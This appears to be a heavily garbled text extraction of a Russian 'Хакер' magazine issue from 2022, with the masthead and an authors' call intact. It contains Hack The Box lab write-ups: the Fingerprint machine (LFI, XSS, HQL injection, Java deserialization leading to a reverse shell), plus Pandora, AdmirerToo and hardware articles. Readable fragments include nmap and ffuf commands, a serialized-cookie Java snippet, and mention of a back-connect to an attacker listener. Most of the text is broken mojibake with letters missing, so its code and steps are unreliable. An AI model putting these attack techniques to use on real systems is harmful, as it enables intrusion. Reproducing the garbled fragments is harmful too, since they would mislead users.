HTB FINGERPRINT ПОДДЕЛЫВАЕМ ЦИФРОВОЙ ОТПЕЧАТОК ДЛЯ ДОСТУПА К ЗАКРЫТОМУ КОНТЕНТУ R lfH k hackerralf8@gmail com ВЗЛОМ В этом райтапе мы используем LFI для получения исходного кода приложения XSS для получения фингерпринта поль зователя обойдем авторизацию через HQL инъекцию заюзаем баг в приложении на Java и немного покодим на Python чтобы получить приватный ключ В заключение разберем ошибку в шифровании и узнаем секрет! Все это в рамках прохождения безумной по сложности машины Fingerprint с площадки Hack The Box WARNING Подключаться к машинам с HTB рекомендуется только через VPN Не делай этого с компьютеров где есть важные для тебя данные так как ты ока жешься в общей сети с другими участниками ÐÀÇÂÅÄÊÀ Ñêàíèðîâàíèå ïîðòîâ Добавляем IP адрес машины в :/etc/hosts 10 10 11 127 fingerprint htb И запускаем сканирование портов Справка: сканирование портов Сканирование портов стандартный первый шаг при любой атаке Он поз воляет атакующему узнать какие службы на хосте принимают соединение На основе этой информации выбирается следующий шаг к получению точки входа Наиболее известный инструмент для сканирования это Nmap Улучшить результаты его работы ты можешь при помощи следующего скрипта #!/bin/bash nmap 500 | 1 | | s/ / ports $( p min rate $1 grep [0 9] | cut d / f tr \n sed $/ ) nmap p$ports A $1 Он действует в два этапа На первом производится обычное быстрое ска нирование на втором более тщательное сканирование с использованием имеющихся скриптов (опция )A Результат работы скрипта Находим три открытых порта: 22 служба OpenSSH 76p1; 80 веб сервер Werkzeug httpd 1 0 1; 8080 веб сервер GlassFish Open Source Edition 5 0 1 Наша точка входа это наверняка один из двух веб серверов Но изучив сайты я ничего интересного не нашел Давай тогда поищем скрытый контент Справка: сканирование веба c ffuf Одно из первых действий при тестировании безопасности веб приложе ния это сканирование методом перебора каталогов чтобы найти скрытую информацию и недоступные обычным посетителям функции Для этого можно использовать программы вроде dи irsearch DIRB Я предпочитаю легкий и очень быстрый При запуске указываем сле дующие параметры: ffuf словарь (я использую словари из набора );w SecLists количество потоков;t URL;u исключить из результата ответы с кодом 403fc Запускаем ffuf: ffuf u256 http://fingerprint htb/FUZZ t w directory 2 3 medium lowercase txt Результат сканирования каталогов с помощью ffuf ffuf u256 http://fingerprint htb:8080/FUZZ t w directory 2 3 medium lowercase txt Результат сканирования каталогов с помощью ffuf Появляются новые интересные каталоги способен составлять карты сайта чем мы и воспользуемся В данном случае на построенной карте обна ружим конечные точки которые мы бы долго искали при грубом сканиро вании Burp Карта сайта ngerprint htb Теперь важно найти место откуда мы переходим к конечным точкам История и поиск в Burp выводят нас на страницу /admin Burp History р д →

HTB FINGERPRINT ПОДДЕЛЫВАЕМ ЦИФРОВОЙ ОТПЕЧАТОК ДЛЯ ДОСТУПА К ЗАКРЫТОМУ КОНТЕНТУ ВЗЛОМ НАЧАЛО СТАТЬИ Ä Ч ф й ф й Д б ф й б / d i / i / B I t d B I t d P iti С ф й / t / d С б ф й Так ничего не выводит а все же дает код при о е ( ) / i it / / d i / i // / //h /fl k/ / y р у р ( р ) д р фу у ( р ) р ф / d i / i / / //h /fl k/ / th И й th В 13 ф й б А 16 ф ф С ф П ф й b ild f l h til / d i / i / / //h /fl k/ / db /admin/ ie / / //home/flask/app/ til p р ф py ф у у д р ц g о е здес е о доб е о е j g p Т б о сер се Ко е о а ас е е а а о а с ра е о о раз ер ф у С L А ф й б ф й й р р р р б б б й ф ц р yp р ру у у у О б а сер ера р об о е а ор за SQL П б JDBC б HQL о с о е с з б о ро о о руз д е резу ( ) g p щ р р Т б ф й у р p p // / j / p р р у У з ос р су с уе з а родо ае Об о ф ер р е ер ру д р р р д р р р В B Hi t с р а о о а еl i j д р g j К б й р р ф р р р р // 0 0 56 3 /? d () р ф р р у у у g p р р Д Q ру р р у у ф р р ру р р р p б р у у у р р д ру ф р д р ф р у ру ур ф р p p Декодировав данные получим какой то набор символов в котором прог д р р у р ц Д д р д →

HTB FINGERPRINT ПОДДЕЛЫВАЕМ ЦИФРОВОЙ ОТПЕЧАТОК ДЛЯ ДОСТУПА К ЗАКРЫТОМУ КОНТЕНТУ ВЗЛОМ НАЧАЛО СТАТЬИ ÒÎ×ÊÀ ÎÏÎÐÛ á ð П б б ф й р р j p // g p / p / j y Сканирование файлов Java у д ф д д р ф j С ф й U j Б ф й б р р у р у р у U j j С И е за ю ае с о об з сер а зо а й об е з й Э В р д д д д имени пользователя d i U j k d i it d l public class User implements Serializable { p g ; d i id t t d St i t t d St i d p g g p ; bli id ( i ) { thi } } Т ф й Т б бM i j p j y y p ; p j y y p ; p j j p i j i bj i t j til B 64 p { p ( g[] g ) { { St i ki rO0ABXNyACFjb20uYWRtaW4uc2VjdXJpdHkuc3JjLm1vZGVsLlVzZXKUBNdz41 5awIA y p y g dl j k l l i I0Z E2Y J ZTA4Nj 4ZjZ0ABRMV2 3Z1VSMUVtWDdVT h S h W QAC21 Y2hlYW MjM 1 ; y [] y g () ( B t A I tSt i li dU I tSt B t A I tSt ( i li dU B t ) j p j p j p ( p ); U (U ) bj tI tSt dObj t() tU ( d i ) y y p p () Obj tO t tSt bj tO t tSt Obj tO t tSt ( i li dU O t tSt ) j p j ( ); St i i li dAd i U B 64 B 64 tE d () d T St i ( i li dU O t tSt t B t A ()) System out println( New cookie: ); } ( ) S t t i tl ( ) } } } Н ф К ф И й й б Н й JWT б б й Д JWT у j С C ki С JWT В ф й б Ф ф й Т б б В б ф й Пfil j j д р ф j р у ру ф р д д р ф g j р р д ф р ру д р р д й б Н П ф Д р у ц д g p i Ad i P fil p g tU ( t t$( i 4 10 10 14 156)/ / d i ) П JWT й ( р у )p p p p p у р р р р р Д ру у д ру B 64 й / / / / p/ / tU ( t t$( h p j Q g | | ) ) В окне листенера получаем бэкконнект →

HTB FINGERPRINT Й ВЗЛОМ НАЧАЛО СТАТЬИ Справка скрипты PEASS р р / / p у у у б ф у р у ) ф р Д ( ) б р Q ( { } ) ()[ ] ф ф ф у уp p () [ ] [ ] [ ] фу p p / р р б б ) ( ) [ ] [ ( )] р р ф р ф

HTB PANDORA ЗАХВАТЫВАЕМ СЕРВЕР ЧЕРЕЗ СИСТЕМУ МОНИТОРИНГА PANDORA О В й б р у ру у FMS Д й р ру P d H k Th B р Ä С | $ ) С б ф б б ( ) ф С б ff f С р р SS Справка бит SUID ф ( ) ф ф р @ Д ф С ф ф р р р р

HTB ADMIRERTOO З 2 ВЗЛОМ р у у Ad i O TSDB O CATS у р ф ур ц у й ф й O CATS р b b й р р р / / ( ) Справка сканирование веба c ffuf ф ф Д ( ) р Д р // З б СУБД И Aб d i B Д Д Д () р р р р р Э C C р Д б б [ ( )] б

HTB ADMIRERTOO ЗАХВАТЫВАЕМ СЕРВЕР ЧЕРЕЗ FAIL2BAN ВЗЛОМ НАЧАЛО СТАТЬИ ÏÐÎÄÂÈÆÅÍÈÅ й б б р р д ф й CMS П И ф й б С ф й h П й М у д С со о а а а о о с с е е се о о о а а а о С а е аро е ае с р Ф ô ð ö Ч б б й й р Справка скрипты PEASS для Linux (загрузка через Python и Wg t) Ч р д у ц р ф ( ) р р р р р P i il E l ti p З Li р д д ф р ц р у р д ас ро t a ost Н F il2b С Т б O CATS У е е а е а е е фа а Н й ф й у р д p р ру р б ф Н й р р ду П O CATS Ч й ф ? П ф р у р g П G l П б й у р у р р р о е е а э а е о с а фор а i db h 127 0 0 1 t d 1 3 0f 4t П б O CATS С й б д h t bl Т б б O CATS Н б б d р б Э р р д р р ущ р ущ д М ее о е р е а баз оэ о о е с а о с ой р ( )p д з е е есе е о а ор з е с Ope C S о е а а Г O CATS б б р р р рp y y В б ро з о е фа с с е е фа а а б за са а е р () () ф й й ( б ф ) t t t t TEST TEST /d / h А t ti it A ti it D t G id С A ti iti р p y ф д р щ д ф р ф д / / py С /d / h П й ф у g p Ф 2 за е ро ра ос е ес о е а о о а ор за ру р р р р р р 2 б ф ур ц д д у (RCE) у у р у Е е о а е ос о о о о с ою о а Та образо ес у у р р д р д h i ! С d l ф й ф й Ч O CATS й ф й ф д р р ду / / l l/ t / h i f p pgg t /t t t t П б h i б O C S б h i Э б у | }]| [ ] С ф ф ур П ф h i Т б б h i ( 43) З у у у h i | | p / / h ll В й й б F il2b у SSH h i p p Ф М ф !

МАСТЕРСКАЯ ХАКЕРА СОБИРАЕМ УТИЛИТЫ КОТОРЫЕ ОБЛЕГЧАТ ЖИЗНЬ И РАБОТУ ТРЮКИ Н р ? Н р д у у цу? р у р ? б д С б р у р р р р б буд р д б д д В д рд р у р ц р р й р р б ( б ) Х у д д р уд р Д й й П ! É д у ф д р Е й дру С G f l У б д у р д д р р Ct l ф ) р р р у д р р ( д у ф йi б ф йb р ф ( ущ ); у С б й П й README р р б й GitH b Д д у g g / /g @ G f l у р ц р р р р д р р д р йi i ll Е б д р д р р В Ub t d i ll р у р N d ( ) р р gр С d ф й р щ ду р й й р р р р р У б t dd i t ll d / р р р у Diff б PDF 70 ф д у д p р д р у у у P th J X З й р д $(p ) $(p ) $(p ) g y d bi / d ibl b ild /diff р p р у р ( yр p g g й ф р р д р р р р E б б didi / g у р р | p y Е б Wi d д ц р д ф й SOCKS5 й р р p y p y b ild / d/ i у р р р З б ф д р д g у д д ц y p g i l l t k ( ) [ ] Li t P t 3422 d ll ffi ld [ ] p y б й б б SSH Са о ез з а с э S h l ф йh diff ф р ц уд ; р у р уp фh k i f се з э о о абора арс а о о о с о у р уд / / h t l рф р В l й у уд p| // g/ / / / / li d/ li hi bl li t/t t d d/ li hi t bl /d / ll p П ( ) t l l i t ll p С i t bl t ф ц p Д ду ц у В 203 0 45 41 443 Fl [S] 3964691400 i 29200 l th 0 [ ] [ h ] g [ ] q g [ ] [ ] fil 198 2 100 8 443 Fl [S] 3964691400 i 29200 l th 0 [I p b ild П ф й ф б р у p д р р р р р р р f б й д p INFO б ? М б о оз а о с i t bl й ф й

МАСТЕРСКАЯ ХАКЕРА СОБИРАЕМ УТИЛИТЫ КОТОРЫЕ ОБЛЕГЧАТ ТРЮКИ НАЧАЛО СТАТЬИ Ô простая но мощная тулза для шифрования файлов К сожалению р ф рф р д уд р Picocrypt Pi ф ф й Е даже полностью удалить но идея направить потенциальных расследователей у ду д р ф й й д у р у цу р р р р фр ф р yp д бр б р р ц р р p i t ll i t p у у ( )p p y б б б Э ф й D k й а дру е одоб е с ру е Де о з ре оз ор Е б Li OS С Sysmontask б Li ! у Ду д р д р у р р d dd t t j/ t р у р р ду р д д eo etc э о ро ра а о ора а д о рас о од с а с у р у д р у ( б б ( ) й ф eo etc ес ре оз ор Ubu tu dt i t ll f t h у у р р у р р у р у ру у р W lf t h TTY р д б б й ( ) ц Ä p С б HTTP соб ра о е а сер со сс е о а о се р е ес е уд р p дру ру | p d | | | / / / / / / / / / / / | / / j tdi i g h // d h k [ ] [ f d i b // [ ] [ ] p g [ ] [ g ] [ i b b il i h] [ j ] [ y y] h // h k [ ] [ ld f d ] р р у у р б бй й Ф б б лагаю самостоятельно они узкоспецифические и каждый из них хорошо р j Т б HTML h ll б парсинга с помощью регулярок Для вас существует утилита которая р ру р цу д д р р xj $t O htt // t d l ith b i /j / | j | j | l t( П е о е с ро ра ро а p У а заре с р ро а р д д р у Н d И б У б i i ll li Н у у д д р р у у р р i 3 i t ll U li k 7 1 2 р р Д б й за е о j l д р p p р у р ду р д р р р у р Я i APT ( ) б й б Пре о о о ра й pip еб е ес То а с а о а д д у ду i j il t ll у р р д у р у д р у у уд д j j р Ф й й са раз с особа В о о е е ро ра е ес ю ( ) ( д ф ур ) p М й й И б й й б Ó å î å ñ Android à Lin у Н VPN р д g С g p g p g d 2l б 1024 б А б б б б у д р д р д р ру щ р ру Е й б H i S Xi i ф б ре е е о р де с оз бо с есе е р о е бе с со у д y pp Б у Li J y й й Li Э б й Li б В р д у Li J

ТЕПЛЫЙ ДИСПЛЕЙ ЛАМПОВЫЙ СОБИРАЕМ МОНИТОР ИЗ ЭЛЕКТРОННО ЛУЧЕВОЙ М й б ф ф ф фф ф ( ) )

ТЕПЛЫЙ ЛАМПОВЫЙ ДИСПЛЕЙ Э } } ( ) ( ) } Д ( ) } ( ) ф ф ф ф ( ) { [ ] ( ) ] [ ]) )) ( ) [ ] ( [ ]) ( ) [j ] [ [ ]] } ( ) ( ( ) ) ( ) ) ( ) ( ) ( [ ])

ТЕПЛЫЙ ЛАМПОВЫЙ ДИСПЛЕЙ СО О О З Э О О Й GEEK р р р р р д р р / О Т ф б О р р р 56 56 б O C б б C р р р р й й р р р р р р ру р р р р р р g G $ | Xk $( h $STR F { i t $1} ) $| ( $ $ ) [ (( )) (( )) ] p p g h g ${ ( )} б Об б 2 К В р д р р ру К CRT 6 G $ | (| {p } ) if [ $(( )) l $(( )) ] g y g $ p p g l /0 bl k t ${1 ( 3)}h К б б б р р р р б р р р fi i i / d /k t 2 h $i d С б б й В б б ф Н б й П ф ф б Т ф [ ] y( y){ b ff [b f hift ] } ( ){ ; t[ ] ( j j j ) ( ) y( [ ] SC [ ] ) ( ){ (( ) ||( ) ) ( ) } б Об р д уф р р д р ру р р р ф р ( у ) р ф р ф й i l d di h #i l d k l h d td b } ; ( ) } ( ) ; i t16 t h 0 [ ]; h } ( ){ ( ){ ; ;} ( \ ){ } } } ( ); d t ( E iti i t D \ \ i t b \ \ t l 1 А FT232H p ( ); ( ){ ( p ( ) ); St ( ) } К р ф р д д у р ц р ф р р р р д р у р у ц ф р р р р ф р р у р у у у р д у д р р р C ц р ф /у уд у д ц ф й б й WWW р р

МНОГОНОЖЕК БУНТ СОБИРАЕМ УСТРОЙСТВО С ИНТЕГРАЛЬНЫМИ МИКРОСХЕМАМИ р д д р й В В й р р ду у б й П ! р р р б й у р у щ р д р р ур ÀÍÀÒÎÌÈß ÌÍÎÃÎÍÎÆÅÊ р д у М б й б р р б б й У у р у у р р р у р й Об р р CC G ( ) р ур ( р р ) Ч й б р Ä В б р р у р д р д б р р р р К р р ц фр б б б ( У й VCC б й GND р ) р д ц фр Н б 74HC14 У й й й П р ) д д р д Y ( ) р р р у р у И С й й ф ð ð ф д д д у р р р p 1 б DS ST р у р ( б б ) б р р у / д р Q у р р р p у д ц р д р б р д у д р р у у р р р р б У ф 1 Ф У д д р р Е 1 Ф д р р д у Н д р ц фр р д р 0 В р д р ( р /р р р р ( ) Н й A б

БУНТ МНОГОНОЖЕК Й Ý Ý Ý Ñ H ll ld! р Д р р Э р Н й й ру П ф И ) рд р р К д р р р д дущ р ц ( б ) 4И ( ) р у б й О р 2И Р б ур р 1 б Д Ц д р у р д р р ц р 2И у р р 8 4 й 9 Т б 1 2 5 6 P p g i d l y р ) р р б б р д д р д П й р р б О р р Д р б Е Ø ô ô С ф й Ш ф у у у б й й й П б р ) у ф А б й б ф ôð ð ð ф д р у Ч 0 9 й р р д р р д р д б 0 ( й й ) 1 2 3 у д р б ф р у б й К С ф ф й Т р р у й é р р р ( ) р р G р у у б LT l t t С б б р д

№05 (278) Главный редактор Андрей Письменный pismenny@glc.ru Зам главного редактора по техническим вопросам Илья Русанен rusanen@glc ru Выпускающий редактор Алексей Глазков glazkov@glc.ru Литературный редактор Евгения Шарипова РЕДАКТОРЫ РУБРИК Андрей Письменный pismenny@glc ru Евгений Зобнин zobnin@glc ru Валентин Холмогоров valentin@holmogorov ru Татьяна Чупрова chuprova@glc ru Марк Бруцкий Стемпковский brutsky@glc ru Иван «aLLy» Андреев iam@russiansecurity expert MEGANEWS Мария Нефёдова nefedova@glc.ru АРТ yambuto yambuto@gmail com РЕКЛАМА Директор по спецпроектам Анна Яковлева yakovleva a@glc ru РАСПРОСТРАНЕНИЕ И ПОДПИСКА Вопросы по подписке: lapina@glc ru Вопросы по материалам: support@glc ru Адрес редакции: 125080, город Москва, Волоколамское шоссе, дом 1, строение 1, этаж 8, помещение IX, комната 54, офис 7 Издатель: ИП Югай Александр Олегович, 400046, Волгоградская область, г Волгоград, ул Дружбы народов, д 54 Учредитель: ООО «Медиа Кар» 125080, город Москва, Волоколамское шоссе, дом 1, строение 1, этаж 8, помещение IX, комната 54, офис 7 Зарегистрировано в Федеральной службе по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзоре), свидетельство Эл № ФС77 67001 от 30 08 2016 года Мнение редакции не обязательно совпадает с мнением авторов Все материалы в номере предоставляются как информация к размышлению Лица, использующие данную информацию в противозаконных целях, могут быть привлечены к ответственности Редакция не несет ответственности за содержание рекламных объявлений в номере По вопросам лицензирования и получения прав на использование редакционных материалов журнала обращайтесь по адресу: xakep@glc ru © Журнал «Хакер», РФ, 2022

СТАНЬ АВТОРОМ «ХАКЕРА»! «Хакеру» нужны новые авторы, и ты можешь стать одним из них! Если тебе интересно то, о чем мы пишем, и есть желание исследовать эти темы вместе с нами то не упусти возможность вступить в ряды наших авторов и получать за это все, что им причитается Размер зависит от сложности и уникальности темы и объема проделанной работы (но не от объема текста) Àâòîðû ïîëó÷àþò äåíåæíîå âîçíàãðàæäåíèå : каждая опубликованная статья приносит месяц подписки и значительно увеличивает личную скид ку Уже после третьего раза подписка станет бесплатной навсегда Íàøè àâòîðû ÷èòàþò «Õàêåð» áåñïëàòíî Кроме того А еще мы планируем запуск англоязычной версии так что íàëè÷èå ïóáëèêàöèé ýòî îòëè÷íûé ñïîñîá ïîêàçàòü ðàáîòîäàòåëþ è êîëëåãàì, ÷òî òû â òåìå ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà ðóáåæîì И конечно, На сайте ты можешь сам заполнить характеристику, поставить фото, написать что то о себе, добавить ссылку на сайт и профили в соцсетях Или, наоборот, не делать этого в целях конспирации ìû âñåãäà óêàçûâàåì â ñòàòüÿõ èìÿ èëè ïñåâäîíèì àâòîðà ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ ÑÒÀÒÜÞ? Главное в нашем деле знания по теме, а не корочки журналиста Знаешь тему значит, и написать сможешь Не умеешь поможем, будешь сом неваться поддержим накосячишь отредактируем Не зря у нас работает столько редакторов! Они не только правят буквы но и помогают с темами и форматом и «причесывают» авторский текст если в этом есть необ ходимость И конечно перед публикацией мы согласуем с автором все прав ки и вносим новые, если нужно ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ? Темы для статей дело непростое но и не такое сложное как может показаться Стоит начать и ты наверняка будешь придумывать темы одну за другой! Первым делом задай себе несколько простых вопросов: Частый случай: люди делают что то потрясающее, но считают свое занятие вполне обыденным Если твоя мама и девушка не хотят слушать про реверс малвари, сборку ядра Linux, проектирование микропроцес соров или хранение данных в ДНК это не значит что у тебя не найдется благодарных читателей «Ðàçáèðàþñü ëè ÿ â ÷åì òî, ÷òî ìîæåò çàèíòåðåñîâàòü äðóãèõ?» Если ты ресерчишь багхантишь решаешь crackme или задачки на CTF если ты разрабатываешь что то необычное или даже просто настроил себе какую то удобную штуковину, обязательно расскажи нам! Мы вместе при думаем, как лучше подать твои наработки «Áûëè ëè ó ìåíÿ â ïîñëåäíåå âðåìÿ èíòåðåñíûå ïðîåêòû?» Попробуй вспомнить: если ты буквально недавно рассказывал кому то о чем то очень важном или захватывающем (и связанным с ИБ или ИТ) то с немалой вероятностью это может быть неплохой темой для статьи Или как минимум натолкнет тебя на тему «Çíàþ ëè ÿ êàêóþ òî èñòîðèþ, êîòîðàÿ êàæåòñÿ ìíå êðóòîé?» Если мы о чем то не писали это могло быть не умышленно Возможно просто никому не пришла в голову эта тема или не было человека, который взял бы ее на себя Кстати, даже если писать сам ты не собираешься, под кинуть нам идею все равно можно «Íå ïîäìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñòèëè ÷òî òî âàæíîå?» Óãîâîðèëè, êàêîâ ïëàí äåéñòâèé? 1 Придумываешь актуальную тему или несколько 2 Описываешь эту тему так, чтобы было понятно, что будет в статье и зачем ее кому то читать Обычно достаточно рабочего заголовка и нескольких предложений (pro tip: их потом можно пустить на введение) 3 и отправляешь ему свои темы (можно главреду он разберется) Заодно неплохо бывает представиться и написать пару слов о себе Выбираешь редактора 4 С редактором согласуете детали и сроки сдачи черновика Также он выда ет тебе правила оформления и отвечает на все интересующие вопросы 5 Пишешь статью в срок и отправляешь ее Если возникают какие то проб лемы, сомнения или просто задержки, ты знаешь, к кому обращаться 6 Редактор читает статью, принимает ее или возвращает с просьбой доработать и руководством к действию 7 Перед публикацией получаешь версию с правками и обсуждаешь их с редактором (или просто даешь добро) 8 Дожидаешься выхода статьи и поступления вознаграждения TL;DR Если хочешь публиковаться в «Хакере» придумай тему для первой статьи и предложи редакции

Turn static files into dynamic content formats.

Create a flipbook
Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.